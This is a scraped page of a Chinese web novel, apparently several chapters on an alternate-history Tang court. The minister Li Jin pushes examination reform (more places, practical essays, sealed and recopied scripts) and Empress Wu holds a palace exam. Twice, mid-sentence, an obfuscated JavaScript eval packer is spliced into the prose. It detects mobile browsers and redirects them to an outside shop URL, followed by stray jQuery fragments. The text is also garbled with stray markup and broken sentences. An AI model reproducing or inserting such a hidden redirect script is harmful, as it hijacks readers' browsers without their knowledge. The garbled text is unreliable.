玄武门之变的血腥味尚未完全散去,废太子自尽引发的余波仍在朝野间暗自涌动,但大明宫的权威,尤其是御座之侧那道身影的意志,已经如同春日冻土下即将破壳而出的种子,不可阻挡地开始塑造帝国新的肌理。这一次,刀锋指向的不是某个人、某个家族,而是绵延数百年、根深蒂固的门阀**基石——选官制度。**
转运使司,李瑾签押房。
烛火通明,将室内照得亮如白昼。宽大的书案上,堆满了从秘书省、弘文馆、国子监调阅的历年科举案卷、人口户籍黄册、各道州举荐名录,以及厚厚一叠墨迹未干的文稿。李瑾揉了揉有些发涩的眉心,目光落在面前摊开的一份奏疏草稿上。旁边,坐着几位被他连夜召来的心腹幕僚——有出身寒微却精于吏事的转运使司干员,有通晓经典制度的弘文馆学士,还有两位是在“盐铁论战”中崭露头角、精通数算经济的年轻官员。
“诸位,”李瑾的声音在寂静的夜里格外清晰,“天后之意已决,今岁秋闱,必要有一番大动静。增科、加额、改制,势在必行。今日请诸位来,便是要议定一个切实可行、又能尽量减少震荡的章程。”
一位年约四旬、面容清癯的弘文馆学士,姓郑,出身荥阳郑氏旁支,因家道中落早已与嫡系疏远,凭真才实学入馆,此刻捻须沉吟道:“国公,下官细思,增广进士及诸科,所虑者三。其一,取士名额若骤增,及第者素质能否保证?恐惹清流非议,谓朝廷滥竽充数。其二,名额从何而出?若挤占现有明经、进士之额,必遭强烈反弹。其三,考试内容若偏重时务策论,恐熟读经义的世家子弟反而不如熟知地方利弊的寒门,这反弹……恐更为剧烈。”他虽已边缘化,但世家出身,对其中关窍看得透彻。
旁边一位三十出头、面容精干的转运使司郎中,姓王,出身蜀中寒门,闻言立刻道:“郑学士所虑固然有理,然下官以为,恰恰相反。正因现有取士之道,为世家大族把持,所谓‘素质’,无非是其家学渊源、交游圈子罢了。寒门子弟纵有实学,若无门路,连被‘取’的资格都无,谈何‘素质’?至于名额,朝廷取士,是为国选才,非为世家定额分肥!现有员额不足,自当增之。至于考试内容……”他看向李瑾,眼中闪烁着热切的光芒,“下官在转运使司经办盐铁漕运,深知地方实情,绝非熟读经义者所能臆断。治国需实学,此正切中时弊!”
另一人接口,此人是新进的明算科及第者,在转运使司负责账目审计,声音带着冷静:“王兄所言极是。下官以为,改制之要,首在‘公’与‘实’。‘公’者,取士大公,断绝请托;‘实’者,所取之士,需能办实事。进士科加试时务策,明经科亦当增加经义阐释与实务结合之题。此外,明法、明算、明字诸科,录取名额长期偏低,乃至形同虚设,此大谬也!户部、刑部、工部、转运使司,何处不需精于律法、数算、文书之吏?此诸科当大幅增额,并提高出身待遇,与进士、明经等同视之,方能吸引真正人才。”
李瑾静静听着,手指无意识地轻叩桌面。这些意见,有顾虑,有激进,有务实,都是他需要考量的。他等众人议论稍歇,才缓缓开口:
“郑学士所虑,乃老成谋国之言。骤然剧变,确易生乱。故此番改制,当有步骤、有策略。其一,名额增加,非一蹴而就。今岁秋闱,进士科可在往年基础上,增额三成至五成;明经科略增;明法、明算、明字诸科,名额翻倍,乃至三倍。所增之额,专为选拔实学之士,暂不与旧额冲突。此为缓冲。”
“其二,考试内容革新,进士科加试时务策三道,权重占其四;明经科加试经义阐释与实务结合之题两道;明法、明算等科,考题需更贴近刑名、钱谷、工程实际。试题由天后亲自遴选学士拟定,务求切近时政,如漕运利弊、边关粮饷、盐法得失、田亩清丈等。”
“其三,也是关键,”李瑾目光锐利起来,“为确保‘公’字,杜绝请托舞弊,今科开始,省试一级,全面推行‘糊名’与‘誊录’之法!”
“糊名?誊录?”几位幕僚都是一愣。糊名之法古已有之,但多用于制科或吏部铨选,且执行不严。誊录更是闻所未闻。
“不错。”李瑾解释道,“考生姓名、籍贯等信息,以厚纸糊住,阅卷官无从得知考生身份。此谓‘糊名’。再者,所有考生墨卷,由专门的书吏统一以朱笔誊抄一份副本,副本送阅卷官批阅。阅卷官所见,只有朱笔副本,笔迹相同,杜绝了通过字迹或暗记舞弊的可能。此谓‘誊录’。待阅卷、定等、放榜之后,再核对墨卷与朱卷,拆开糊名,公布姓名。”
室内一片寂静,旋即响起压抑的低呼。这法子……太狠了!几乎是从根本上斩断了考前请托、考中作弊、考后关说的一切可能!任你是五姓七家的嫡子,还是寒门白丁,在那一张糊名誊录后的考卷面前,都只是一个代号。
“妙!国公此策,直指时弊根本!”王郎中激动得脸色发红,“如此,方能真正确保公平,使寒门俊才有出头之日!”
郑学士则是深吸一口气,脸色复杂。他仿佛已经看到,当这个方案公布时,那些高傲的世家大族会如何震怒。但这套组合拳下来——增额、加试实学、糊名誊录——确实是一套打破门阀垄断的绝杀之局。名额增加给了希望,实学考试扭转了评价标准,糊名誊录保证了程序公正。三管齐下,门阀赖以垄断仕途的家学、人脉、名望优势,将被极大地削弱。
“还有,”李瑾补充道,语气带着一丝冷意,“天后已决意,今科殿试,将由天后与陛下共同临轩策问,亲自考核进士前十名及诸科优异者。殿试之题,必是军国要务、时政得失。届时,是骡子是马,一牵便知。此外,及第者授官,亦将向急需实务人才的部门倾斜,如转运使司、户部、工部、边疆州郡等。空谈经义而无实措者,即便侥幸得中,也难有锦绣前程。”
众人皆凛然。天后亲自殿试,这是要将最终的人才选拔权,牢牢抓在自己手中。而授官倾向,更是明确的指挥棒——朝廷需要的是能做事的人,不是只会清谈的名士。
接下来的几天,转运使司的这间签押房灯火常明。一份融合了众人智慧、细节详尽的《请增广进士及诸科举人并厘革考选事宜疏》逐渐成形。奏疏不仅提出了增额、改制、糊名、誊录等一整套方案,还附上了详细的实施细则、预计增加的名额数目、所需钱粮预算,以及对可能出现阻力的应对之策。李瑾亲自修改润色,务求逻辑严密,无懈可击。
二月中旬,紫宸殿常朝。
气氛依旧肃穆,但经过大朝会的震慑和此前的清洗,百官显得格外“本分”。当内侍高声唱出“有本早奏,无本退朝”后,新任同中书门下三品、赵国公、诸道盐铁转运使李瑾,手持玉笏,稳步出列。
“臣,李瑾,有本奏。”他的声音平稳,在寂静的大殿中回荡。
“奏来。”御座之上,传来天后清越而威严的声音。皇帝李治今日并未临朝,据称是风疾复发,需要静养。
“臣谨奏:为国抡才,实乃政本。当今圣朝,海内晏安,文教昌明,天下向学之士,倍蓰于前。然现行考选之制,取士有额,程式略旧,致使许多怀瑾握瑜之才,困于场屋,老于牖下,不得展其抱负,报效朝廷。更有甚者,请托公行,关节潜通,使寒门俊杰扼腕,清议为之叹息……”
李瑾开门见山,直指现行科举弊端,言辞虽不失恭敬,但锋芒已露。许多出身世家的官员,脸色已经微微变了。
“……臣愚以为,当因时变革,广开进贤之路。伏请:一,自今岁秋闱始,进士科取士名额,于往年常额之上,增三十人;明经科增二十人;明法、明算、明字诸科,各增十五人至二十人不等,视考生多寡、文理优劣而定……”
“哗——”殿中响起一阵低低的骚动。这个增额幅度,尤其是针对被视为“杂科”的明法、明算等的增额,堪称巨大!这意味着,将有大批原本无望的学子获得出身机会,也意味着世家子弟的“中举”概率被显著稀释。
李瑾恍若未闻,继续朗声道:“其二,革新考试内容。进士科加试时务策三道,务求关切国计民生,其权重与诗赋、经义并重,甚或过之。明经科亦需加试经义通变之题,明法、明算等科,试题需切近实务……”
“其三,为杜绝请托,彰显至公,自今岁省试始,推行‘糊名’与‘誊录’之法。考生墨卷糊名,由专吏誊录朱卷,方送考官批阅。待放榜后,再行核对拆名……”
此言一出,殿中的骚动几乎压抑不住。糊名誊录!这简直是要绝了许多人的“门路”!不少官员交头接耳,面露惊怒。
“其四,今科殿试,恭请陛下、天后临轩亲策,以辨真才实学。其五,及第进士、明经及诸科人等,授官当重实务,优先补转运、度支、工部、边州等任,以收实效。”
李瑾终于说完,手持奏疏,躬身道:“此臣与礼部、吏部、弘文馆诸同僚深思熟虑之果,伏乞陛下、天后圣裁。”
殿内一片死寂。所有人都知道,这不仅仅是几项科举改革建议,这是一场旨在重塑帝国权力基础、向世家门阀发起的正面挑战!增额是扩大基础,改制是转变标准,糊名誊录是保证公平,殿试亲策和授官倾向是掌控出路。环环相扣,刀刀见血。
“臣反对!”一个苍老而激动的声音响起。众人看去,是礼部侍郎崔诠,出身博陵崔氏,以经学著称,门生故旧遍及朝野。他颤巍巍出列,脸色涨红:“祖宗法度,岂可轻变?进士、明经,取士之正途,所重者经义文章,道德文章,此乃国之根本!今欲加重时务策,乃至与诗赋经义并列,岂非本末倒置,鼓励浮躁功利之风?长此以往,士人不读圣贤书,专务机巧变诈,国将不国!”
又一位官员出列,是门下省给事中卢承庆,范阳卢氏子弟,掌管封驳诏令,地位清要:“**所言增额,固是美意。然取士贵精不贵多。骤然增额如此之多,恐鱼龙混杂,泥沙俱下,反损科举清誉。且明法、明算,不过刀笔吏之才,岂能与进士、明经等列?大幅增额,恐使斯文扫地!”
“糊名誊录,看似公平,实则大谬!”一位御史台的官员也站出来,他是河东柳氏旁支,“科举取士,非独考校文字,亦观其风仪、家世、品行。糊名誊录,使考官不见其人,不闻其声,如何知其品行高洁与否?若取中品行不端、有亏名教之人,岂非贻害朝廷?且誊录之事,工程浩大,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17000301|193951||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
易生错漏,反生弊端!”
反对的声音此起彼伏,理由冠冕堂皇,无非是“祖宗成法不可变”、“重实学轻经义乃舍本逐末”、“取士贵精不贵多”、“糊名誊录有损取士之全”。但其核心,无非是触动了世家大族赖以垄断仕途、保持政治特权的根本。**
面对汹汹议论,李瑾神色不变,待反对声稍歇,才平静开口:“崔侍郎所言,经义文章乃国之根本,瑾深以为然。然则,孔子删述六经,未尝空言。周公制礼作乐,皆为经世。若熟读经义而不能通实务,知晓诗赋而不能济时艰,与赵括之谈兵、殷浩之书空何异?今朝廷内外,漕运、盐铁、边备、刑名、度支,何处不需实学干才?科举取士,若不能为国选得此等人才,空取清谈之辈,于国何益?”
他目光转向卢承庆:“卢给事中虑及取士之精,亦是为国着想。然,天下英才,如过江之鲫,岂独聚于高门?寒门之中,便无颜回、仲舒乎?增额之举,正是为网罗遗贤于草泽,何来泥沙俱下之说?至于明法、明算,卢公掌封驳,可曾细核过户部钱粮、刑部案牍?若无精于数算、明于律法之吏,则度支混乱,刑狱不清,国事何堪?此非刀笔小技,实乃治国之要!”
最后,他看向那位御史:“风仪品行,自当考核。然考核当在平时,在乡评,在吏部铨选,岂能以科场一时之面见定终身?糊名誊录,正为杜绝科场请托关节之弊,使寒门学子能凭真才实学,与高门子弟同场竞技,此乃最大之公!至于誊录或有错漏,自有核验校对之法,岂可因噎废食?”
李瑾的驳斥,条理清晰,有理有据,更暗指反对者囿于门户之见、不谙实务。不少出身中下层、或本就对世家垄断不满的官员,闻言暗暗点头。
“陛下,天后!”又一人出列,众人看去,却是新任吏部侍郎,姓刘,出身寒微,是上次盐铁转运使司中表现优异被提拔上来的,他声音洪亮:“**所言,实乃固本培元、为国求贤之良策!臣在地方、在转运使司多年,深知地方有才之士,苦于无门。若行此新政,则野无遗贤,朝廷得人,实乃社稷之福!至于所谓弊病,皆可设法规避完善,岂能因小瑕而弃美玉?”
“臣附议!”
“臣亦附议!”
陆续又有几名新近提拔、或出身非顶级门阀的官员站出来,支持李瑾的改革方案。朝堂之上,隐隐形成了新旧两股势力的对峙。
“够了。”一个清冷、却带着不容置疑威严的女声从御座上传来。一直静听辩论的天后武媚娘,终于开口。
殿内瞬间安静下来,落针可闻。
天后目光缓缓扫过殿下众臣,在那几个激烈反对的世家代表脸上略微停留,然后落在李瑾身上,又移向那份奏疏。
“国以得人为宝,政以求贤为先。科举取士,乃为国抡才大典,自当因时制宜,务求至公,务求得人。”天后的声音不高,却字字清晰,传入每个人耳中,“赵国公所奏,增广名额,革新考制,推行糊名誊录,朕与陛下详览之,深觉其虑周详,其意至公。寒门英才,久困下僚,非朝廷之福,非天下士子之愿。重实学,黜浮华,正是匡正时弊之举。”
她顿了顿,语气转厉:“至于所谓祖宗成法,岂是僵死之规?太宗皇帝开创科举,本就是打破前隋旧例,广纳贤才。如今时移世易,自当更张完善,方不负祖宗设科取士之本意!尔等食君之禄,当思为国举贤,岂可固守门户私见,阻塞贤路?!”
最后一句,已是声色俱厉。那几个出言反对的大臣,顿时汗流浃背,扑通跪倒,连称“臣等愚昧,不敢”。
“此事不必再议。”天后一锤定音,“着即照赵国公所奏,由礼部、吏部、转运使司会同详定细则,昭告天下,自今岁秋闱始,一体施行!若有阻挠新政、徇私舞弊者,无论官职高低,门第显赫,定严惩不贷!”
“臣等遵旨!”以李瑾为首,大部分官员齐声应诺。那几个跪在地上的世家官员,也只能伏地领命,心中一片冰凉。他们知道,一道打开寒门仕进之门、同时也是撼动他们千年基业的闸门,已经在这位权势如日中天的天后和她那柄锋利的剑——李瑾——的共同推动下,无可逆转地开启了。
退朝之后,消息如同插上了翅膀,迅速飞出皇城,飞向长安的大街小巷,飞向帝国的每一个角落。
在国子监,在弘文馆,在那些**了各地学子、准备应试的书院、客栈乃至破庙之中,无数寒窗苦读的士子,先是愕然,继而狂喜,许多人相拥而泣。他们看到了前所未有的希望。
而在那些高门大宅的深院里,则是一片压抑的愤怒与恐慌。家族会议连夜召开,如何应对这场即将改变一切的风暴,成为他们最紧迫的课题。有人主张联络反对,有人提议适应新规则,也有人在暗中筹谋着更隐蔽的对抗。**
李瑾走出紫宸殿,春日的阳光有些刺眼。他深深吸了一口气,空气中仿佛已经能嗅到即将到来的、属于无数寒门学子的奋发之气,以及……来自旧势力的顽固冰冷。他知道,这仅仅是个开始。更大的风暴,也许就在不远的秋闱之后。但无论如何,闸门已开,潮水将至。一个属于更多人的机会时代,在血腥清洗之后,以一种看似温和、实则更加深刻的方式,悄然降临。
第142章 殿试问实策
显庆五年,十月,长安。
秋闱已毕。历经州试、省试的重重筛选,再加上糊名、誊录、弥封、对读等一系列前所未有的严密程序,最终,一张凝聚着无数人期盼与命运的黄榜,在礼部南墙高高张贴。与前朝任何一次放榜都不同,这张榜单一出,长安城几度沸腾,又几度陷入一种奇异的寂静。
沸腾,是因为上榜人数远超往年,尤其是明法、明算、明字诸科,录取名额数倍于前,许多原本无望的名字赫然在列。寂静,是因为那些往常必定占据榜单前列的世家大姓,此番竟有不少跌出了前十,甚至前二十。而一些籍籍无名、出身寒微的名字,却高悬榜首。这张榜,像一记重锤,砸在了所有人的心上,也砸出了一个全新的、充满不确定性的时代。**
争议、质疑、欢呼、痛哭、茫然……种种情绪在长安城中发酵。但无论外界如何喧嚣,那张黄榜下的名字,已经在糊名与誊录的保证下,在无数双眼睛的监督下,成为不可更改的事实。接下来,便是决定最终名次、乃至直接影响授官起点的关键时刻——殿试。
十月初一,含元殿。
晨曦微露,丹凤门缓缓洞开。新科进士及诸科前十名的贡士们,身着崭新的襕衫,在礼部官员的引领下,屏息静气,踏上了那条通往帝国权力中枢的漫长御道。汉白玉的台阶在脚下延伸,两侧是持戟肃立的金甲卫士,晨风带着深秋的寒意,却吹不散学子们心头的滚烫与志忑。他们中,有出身五姓七家的翩翩公子,神情复杂,努力维持着世家子的矜持与风度;更多的,是面容黝黑、手指粗糙、眼中燃烧着激动与野心火焰的寒门子弟。这一刻,不同的出身,不同的过往,在这条通往含元殿的道路上,暂时被拉到了同一个起点。**
含元殿内,气氛庄严肃穆。御座之上,皇帝李治端坐,只是面色依旧带着病态的苍白,眼神偶尔掠过一丝不易察觉的茫然。而在他身侧,同样设有一座,天后武媚娘凤冠翟衣,面容沉静而威严,目光如同实质般扫过殿下每一个人。御座之下,三省六部的主要官员、翰林学士、以及奉诏前来观礼的勋贵重臣,包括李瑾在内,分列两班。今日的殿试,不仅是对贡士们的考核,更是对这场科举改革成效的一次公开检阅。**
“宣,新科贡士觐见——”内侍尖细悠长的声音,在空旷的大殿中回荡。
数十名贡士鱼贯而入,按着事先演练好的礼仪,在指定的蒲团上跪倒,行三跪九叩大礼。山呼万岁千岁的声音,因为紧张和激动,略显参差。
“平身。”开口的是天后,声音清越平和,却带着不容置疑的穿透力。“尔等寒窗苦读,历经层层考选,方能立于这含元殿上,实属不易。今日殿试,陛下与本宫亲临策问,只望尔等能畅所欲言,尽展所学,勿负朝廷求贤若渴之心,勿负平生报国之志。”
简单的开场白后,真正的考验开始。与往年殿试多问经义典故、诗赋文采不同,今年的策问题目,早已通过内侍,悬挂于殿前的木牌之上。一共三道,每一道都紧扣时政,务求实用。
第一道:问钱谷。“自先帝行租庸调法,国用初足。然今府库虽盈,州县时有告匮;漕运虽通,关辅偶见粮荒。盐铁之利,日增月益,而百姓或有怨言。其故安在?当何以均节赋税,调剂有无,使上不亏国,下不扰民,公私俱利?”
第二道:问边备。“吐蕃桀骜,屡扰西陲;突厥虽衰,余孽未靖。募兵之费日增,府兵之制渐弛。当何以整饬边防,既足兵食,又纾民力?屯田、和籴、茶马诸法,利弊若何?火器新出,于战守之宜,当如何善用?”
第三道:问选才。“守令为亲民之官,贤否系生民休戚。今有司铨选,或拘资格,或徇请托。何以澄汰庸劣,简拔贤能,使郡县得人,教化可行?又,新科取士,增额改制,所取之才,当如何量能授职,以收实效?”
三道策问,直指当时大唐帝国面临的核心难题:财政税收的平衡与改革、边防军事的压力与出路、以及最关键的人才选拔与任用。这不是寻章摘句的文字游戏,而是真正需要见识、思考和解决能力的实际问题。许多习惯了吟风弄月、高谈玄理的世家子弟,看到题目脸色便是一白。而那些出身寒微、有过底层生活经历或是在转运使司等实务部门有过历练的学子,眼中却放出了光。**
贡士们被引至殿侧早已备好的书案前,赐座,赐笔墨纸砚。一时间,殿中只闻研墨声、铺纸声,以及压抑的呼吸声。有人蹙眉苦思,有人奋笔疾书,也有人额角见汗,下笔维艰。
李瑾站在文官班列中,目光平静地扫过这些未来的帝国官僚。他能看到那几个出身顶级门阀的贡士,如博陵崔氏的崔明远、范阳卢氏的卢子安,他们的脸上虽有紧张,但更多的是一种被挑战权威后的不服与矜持,下笔时依旧力求辞章华美,引经据典,但论及具体措施,多是泛泛而谈,不脱圣人教诲、宽仁节用等空泛之论。而几个在省试中因时务策出色而崭露头角的寒门学子,如来自河北道的张巡(此为虚构人物,非历史上的张巡)、出身蜀中商贾之家的王焕之,以及明算科第一名、精于数学与水利的李泌(同为虚构,非历史人物),则是沉着冷静,下笔如有神,时而停笔沉思,时而疾书不辍,纸上多是数据、方案、条陈。
时间一点一滴过去。日上三竿,殿中的光线渐渐明亮。终于,在香炉中最后一炷香即将燃尽时,内侍高唱:“时辰到——贡士住笔!”
试卷被统一收走,由内侍当场糊名编号(殿试亦循新制),然后分发给早已侍立在殿侧的数位翰林学士进行初阅。学士们需在不知考生姓名的情况下,根据文理、见识、措施可行性等进行评判,圈定优劣,然后将最优秀的十份策论呈送御前。
殿内一片寂静,只有纸张翻动和笔尖划过的沙沙声。贡士们垂手立于原地,等待着命运的裁决。空气仿佛凝固了,只有御座旁铜漏滴水的声音,清晰可闻。
约莫半个时辰后,初阅完毕。十份被圈定为“优等”的试卷,被恭敬地捧到御案之上。
皇帝李治似乎精神不济,只略略翻看了一下,便示意由天后来主持。这个细微的动作,被殿中所有人看在眼里。
武媚娘也不推辞,径自取过试卷,一份份仔细翻阅。她看得极快,目光敏锐,时而微微颔首,时而蹙起眉头。偶尔,她会抬起头,看一眼殿下肃立的贡士们,目光如同能穿透那层糊名的厚纸。**
终于,她放下了最后一份试卷,开口,声音不高,却让每一个人都竖起了耳朵。
“今日策问三道,关乎国计民生,兵甲钱粮,守令选任。诸生所对,优劣自分。”她缓缓道,指尖在御案上轻轻一点,“朕与陛下阅卷,见有泛泛而谈、徒饰文辞者;亦有切中时弊、颇具卓见者。治国需实学,此理不虚。”
她的目光转向侍立一旁的礼部尚书和吏部尚书:“将乙等、丙等试卷,交与尔等,会同翰林学士,拟定三甲名次。这十份优等卷,”她拿起最上面的三份,“朕要亲自问问。”
“宣,甲辰号、丁未号、壬子号贡士,近前答问。”
被点到的三名贡士浑身一震,在无数道或羡慕、或嫉妒、或探究的目光中,出列上前,重新跪倒在御阶之下。他们的心跳如同擂鼓,不知等待自己的是飞黄腾达,还是……
内侍上前,拆开糊名,高声唱道:“甲辰号,陈仲举,交州人士,年二十八,进士科!”
一个身材瘦削、肤色微黑、穿着半旧襕衫的青年,深深吸了一口气,以头触地:“草民陈仲举,叩见陛下、天后。”
交州?那可是岭南偏远之地!殿中响起一阵低低的议论。许多官员,尤其是世家出身的,眼中露出诧异与些许不以为然。
“陈仲举,”武媚娘的声音听不出喜怒,“你于第一道钱谷策中,言及‘两税法’之雏形,认为当以资产多寡为征税依据,不再以人丁为主,并提议清查天下田亩,编制鱼鳞图册,据地征税。此法,与现行租庸调制大相径庭,你可知其中关窍?推行此法,难点何在?”
陈仲举显然没料到天后会问得如此深入具体,额头瞬间见汗,但他强自镇定,声音略显干涩却条理清晰:“回天后,草民……草民在乡间,见豪强田连阡陌而赋税轻,贫者无立锥之地而徭役重,此乃人丁为本之弊。若以资产为宗,则赋税相对均平。难点……难点在于,清丈田亩,触动豪强利益,必遭抵制;编制图册,需大量精通数算之吏,耗时费力;且各地物产不同,如何折价核算,亦需细则……”
“若任你为县令,你敢在一县之内,试行此‘据地征税’之法否?”武媚娘追问,目光如电。
陈仲举一咬牙,伏地道:“若朝廷予权,草民……臣愿一试!徐徐图之,先清丈,后立册,再行新税,或可于数年内见其效于一方。”
武媚娘不置可否,看向下一份:“丁未号,李泌,洛阳人士,年二十五,明算科。”
“学生李泌,叩见陛下、天后。”这是一个面容清秀、眼神沉静的青年,气质与大多数贡士迥异。
“李泌,你于第二道边备策中,详算屯田、和籴、茶马之得失,数据详实,推算精微。更提出于陇右、朔方等地,择水草丰美、地势紧要处,建‘军镇农场’,以营为单位,兵农合一,且战且耕,并配以新式曲辕犁、筒车等农具,力求自给。又言火器虽利,然耗资巨大,转运艰难,当集中用于关键城塞、险要隘口,组建专门‘炮营’,而非分散配置。此等计算与设想,从何而来?”
李泌显然沉稳得多,恭声答道:“回天后,学生在洛阳,曾于将作监协助核算工料,对数目之事略有心得。后游学边塞,亲眼所见屯田之利弊,与老卒、边民交谈,得知详情。至于农具、火器之用,学生以为,器物之利,在于善用。集中精锐火器于要点,辅以精兵,可收以点控面、一锤定音之效,胜于分散配置,徒耗钱粮。”
“若予你钱粮、匠人,你可能督造、核算一‘军镇农场’之所需?”武媚娘的问题依旧具体而微。
“学生可试为之,并立军令状,若有浮滥,甘当重罪。”李泌回答得简洁而自信。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17000302|193951||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
br>最后一份:“壬子号,张巡,幽州人士,年三十二,进士科。”
“草民张巡,叩见陛下、天后。”这是一个面容坚毅、带着风霜之色的汉子,看年纪在贡士中偏大。
“张巡,你于第三道选才策中,力主‘试守’之制。言新科进士、明经及诸科入仕者,不当即刻授以实职,而当派往州县,为‘试守县令’、‘试守县丞’,以观其政绩。又言当重‘巡检御史’,明察暗访,以实绩定升黜,而非仅凭资历、文章。你久在民间,可知州县胥吏之弊?‘试守’之制,可能杜绝请托?”
张巡声音洪亮,带着北地口音:“天后明鉴!草民出身寒微,曾为州县小吏,亲见胥吏盘剥、欺上瞒下之弊!新科士子,纵有才学,不通实务,易为胥吏所欺。‘试守’之制,便是令其先**实务,再授实职。至于杜绝请托……”他顿了一下,声音更沉,“非严刑峻法、明察秋毫不能为!巡检御史当如陛下、天后之耳目,不避权贵,不徇私情,以实绩奏报。更可许百姓直达天听,投书告奸。虽不能尽绝,亦可大煞其风!”
三个问题,三种风格,三种出身,但共同点是:务实,敢言,且都有过底层经历或对某一领域有深入了解。他们的回答,或许稚嫩,或许理想,但都切中了当下朝政的某些痛点,提出了具体的、哪怕是粗糙的思路。这与那些只会空谈仁义道德的策论,有着天壤之别。
武媚娘听完,沉默了片刻。殿中气氛压抑到了极点。所有人都等待着天后的裁决,这不仅仅是对这三个人的评价,更是对这次科举改革方向的定调。
“尔等三人,”她终于开口,声音在寂静的大殿中回荡,“虽出身、所学有异,然皆能留心实务,不尚空谈,所对之策,亦有可采之处。治国之道,首在得人,得人贵在适用。尔等既通实务,便当好生砥砺,将来为朝廷分忧,为百姓造福。”
没有直接点评优劣,但这番话,已是对他们最大的肯定,也是对这次殿试方向最明确的背书。
“陈仲举。”
“学生在。”
“授汝洛阳县尉,协理户曹,专司田亩钱谷之事。**朕望你勿忘今日之言。”
“李泌。”
“学生在。”
“授汝将作监丞,掌邦国修建、土木工程之政令。边镇农场、火器配置之事,可详拟条陈上奏。**”
“张巡。”
“学生在。”
“授汝万年县尉,掌缉捕盗贼、按察奸宄。你既知胥吏之弊,便从万年县始,给朕好好看一看,这京畿之地的吏治,究竟如何。”
三人愣了片刻,随即巨大的喜悦和激动涌上心头,连忙以头抢地,颤声道:“臣,谢陛下、天后隆恩!必当竭尽驽钝,以报天恩!”县尉虽只是从八品下的官职,但洛阳、万年是京县,将作监丞更是从六品上的实职,起点已然不低,更重要的是,他们的任职方向,完全对应了他们在策问中展现的才能和志向!这是前所未有的信号!**
紧接着,天后又就其他几份优等卷中的观点,随机点名询问了数名贡士,问题依旧尖锐务实。有人应对得体,有人则汗流浃背,语无伦次。高下之分,在这御前一问之下,清晰可辨。
最终,所有贡士退回原位。礼部尚书捧着最终拟定的三甲名单,躬身呈上。
武媚娘与皇帝李治低声商议了几句(更多是武媚娘在说,李治点头),然后由皇帝用虚弱但清晰的声音宣布:“制曰:显庆五年乙丑科,策试天下贡士。取进士郭元振等三十五人,明经……诸科……朕亲策于庭,观其学识,察其器能。今依例赐第,进士郭元振等五人,赐进士及第;进士……赐进士出身;明经……诸科……赐同进士出身。”
黄榜再次高悬。那个名叫郭元振的寒门学子,成为了今科状元。而殿试中表现出色的陈仲举、李泌、张巡,名次亦极为靠前。相比之下,几位世家子弟的名次,虽仍在甲榜,却已不复往年的绝对优势。
“望尔等恪守臣节,勤勉王事,不负今日琼林之宴,不负朝廷殷切之望。”皇帝最后勉励道。
殿试结束,贡士们叩谢天恩,依次退出含元殿。当他们走出那扇沉重的殿门,迎接他们的,是与以往截然不同的命运与未来。**
李瑾随着文武百官一同退出。他走在最后,回首望了一眼那巍峨的含元殿。**御座之上,天后的身影在逆光中显得有些模糊,但那份掌控一切的威严,却清晰地传递出来。
他知道,殿试只是开始。这些新鲜血液注入帝国庞大而迟滞的躯体,能否真正发挥作用,能否在旧有势力的排斥与围剿中生存下来,还是未知之数。但无论如何,闸门已经打开,第一批按照新标准、新流程选拔出来的人才,已经站到了起跑线上。而他,以及他身后的那位天后,将是他们最强有力的推动者和保护者。同时,也将是他们最严厉的考核官。**
秋风掠过宫阙,带来几分凉意,也带来了新鲜的、充满可能性的气息。帝国的肌体,正在这场静默而深刻的殿试问答中,悄然发生着某种不可逆转的变化。**
第143章 糊名与誊录
显庆五年,九月,礼部贡院。
秋闱省试,已然结束。但与往年放榜后的喧嚣、庆贺、奔走钻营不同,今年的贡院,在紧闭的朱红大门之后,正上演着一场前所未有的、静默而紧张的制度革新。空气里弥漫着劣质墨汁、廉价浆糊,以及一种混合了焦虑、好奇与决绝的复杂气息。这里,是“糊名”与“誊录”这两项撼动科举根基的新制,从诏书文字变为冰冷现实的第一现场。
贡院深处,一间原本用于堆放杂物的宽敞库房被紧急清理出来,门窗皆以厚重的毡布遮挡,只在屋顶留出几处天窗采光。数十张长条桌案整齐排列,每张桌案后坐着两名身着统一青色吏服、面无表情的书吏。他们并非礼部或吏部的老油子,而是从转运使司、将作监、少府监等处临时抽调的年轻胥吏或学徒,经过短期的严格培训与审查,确保身家清白,与长安各大世家无明显瓜葛。此刻,他们正襟危坐,面前是堆积如山的考生墨卷,以及一摞摞统一制式、左侧留有装订空白的新纸——这便是即将承载考生命运、却抹去了一切个人痕迹的“朱卷”。
库房门口,礼部侍郎崔诠脸色铁青,手中紧紧攥着一份盖有政事堂和礼部大印的公文,上面罗列着誊录流程的每一个细节和禁令。他身旁,站着面色沉静的转运使司郎中王焕之——他是李瑾派来“协助”礼部,实则监督新制执行的心腹之一。两人身后,还有数名来自御史台、刑部的官员,目光锐利地扫视着库房内的每一个角落。空气凝重得仿佛能拧出水来。**
“开始吧。”王焕之的声音打破了沉寂,平静无波。
崔诠咬了咬牙,从牙缝里挤出一个字:“……始。”
命令下达。第一道工序:糊名。数名专司此职的礼部老吏(其家眷已被“请”至别处“照顾”),用特制的厚实桑皮纸和浓稠的米浆,将每份墨卷卷首写有考生姓名、籍贯、家世、保结人等一切个人信息的部位,严严实实地糊住,不留丝毫缝隙。然后,在糊名处的正上方,加盖一枚特制的、编有序号的礼部火漆密印。至此,这份考卷与其主人的最后一丝明面联系,被彻底斩断。**它变成了一个代号,一个冰冷的数字。
